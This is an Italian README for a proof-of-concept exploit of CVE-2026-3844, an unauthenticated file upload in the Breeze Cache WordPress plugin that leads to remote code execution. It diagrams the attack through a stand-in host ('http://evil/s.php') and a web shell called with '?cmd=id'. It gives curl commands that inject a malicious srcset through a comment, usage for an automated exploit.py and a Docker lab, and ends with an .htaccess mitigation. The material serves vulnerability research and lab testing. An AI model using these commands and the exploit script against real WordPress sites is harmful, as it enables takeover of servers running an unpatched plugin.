
Proof-of-concept exploit per CVE-2026-3844, un upload arbitrario di file non autenticato che porta all'esecuzione remota di codice in Breeze Cache <= 2.4.4. Include laboratorio Docker e script di exploit automatizzato.
| Campo | Valore |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Critico (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Caricamento senza Restrizioni di File con Tipo Pericoloso |
| Plugin | Breeze Cache di Cloudways |
| Versioni Affette | Tutte le versioni fino alla 2.4.4 inclusa |
| Corretta | 2.4.5 (changeset 3511463) |
| Installazioni | Oltre 400.000 installazioni WordPress attive |
| Scoperta da | Hung Nguyen (bashu) |
| Divulgata | 2026-04-23 |
La funzione fetch_gravatar_from_remote() in inc/class-breeze-cache-cronjobs.php scarica
URL remoti e li salva in una directory accessibile dal web utilizzando il nome file e
l'estensione originali dell'URL. Non c'è validazione del tipo MIME, nessuna whitelist di estensioni e
nessuna ispezione del contenuto.
Quando l'impostazione "Host Files Locally - Gravatars" è abilitata, il plugin si aggancia al filtro
get_avatar di WordPress tramite breeze_replace_gravatar_image(). Questa funzione usa una regex per estrarre
gli URL dagli attributi srcset e src nell'HTML dell'avatar. Un attaccante può iniettare un
attributo srcset dannoso pubblicando un commento con un nome autore modificato, facendo sì che il plugin
scarichi e metta in cache un file PHP arbitrario.
Cosa manca:
.php, .phtml, .phar tutti accettati)Attaccante WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Commento salvato
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | Il filtro get_avatar scatta
| | breeze_replace_gravatar_image()
| | estrae l'URL srcset tramite regex
| | chiama fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| Contenuto del file PHP |
| -----------------------------> |
| | Salvato in:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP viene eseguito come www-data
| uid=33(www-data) |
| <------------------------------------ |
Questo PoC include un ambiente Docker autonomo con:
requests (pip install requests)cd docker/
docker compose up -d --build
Attendi ~30 secondi per l'inizializzazione di WordPress. Verifica:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Atteso: Stable tag: 2.4.4
La configurazione Docker automaticamente:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Sostituisci PAYLOAD_IP con l'IP del container del payload:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Risposta attesa: reindirizzamento HTTP 302 alla pagina del post.
Visita la pagina del post per far sì che WordPress renderizzi l'avatar del commento, che attiva il
filtro get_avatar di Breeze e scarica il payload:
curl -s "http://localhost:8088/?p=1" > /dev/null
L'HTML renderizzato mostra che Breeze ha estratto lo srcset iniettato e ha messo in cache il payload:
Il payload PHP viene scritto letteralmente, di proprietà di www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target URL del target WordPress (obbligatorio)
-p, --payload URL del payload PHP da caricare
--post-id ID specifico del post su cui commentare
--timeout Timeout HTTP in secondi (default: 15)
--wait Secondi di attesa per il cron (default: 12)
--check-only Controlla solo la versione del plugin, non sfruttare
cd docker/
docker compose down -v --remove-orphans
.htaccess in wp-content/cache/breeze-extra/gravatars/:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # Questo file
docker/
Dockerfile # Immagine WordPress + Breeze 2.4.4
docker-compose.yml # Laboratorio completo (WP + MariaDB + server payload)
entrypoint-custom.sh # Auto-configura WP con impostazioni vulnerabili
poc/
exploit.py # Script di sfruttamento PoC automatico
validate.sh # Harness di validazione Docker end-to-end
payloads/
shell.php # Payload PoC innocuo (echo + id)
screenshots/ # Screenshot terminale SVG (Charm freeze)
validation/ # Output di validazione della sfruttabilità RAPTOR
Questa proof-of-concept è fornita esclusivamente per test di sicurezza autorizzati, istruzione e ricerca difensiva. L'uso non autorizzato contro sistemi che non possiedi o per cui non hai esplicito permesso di testare è illegale.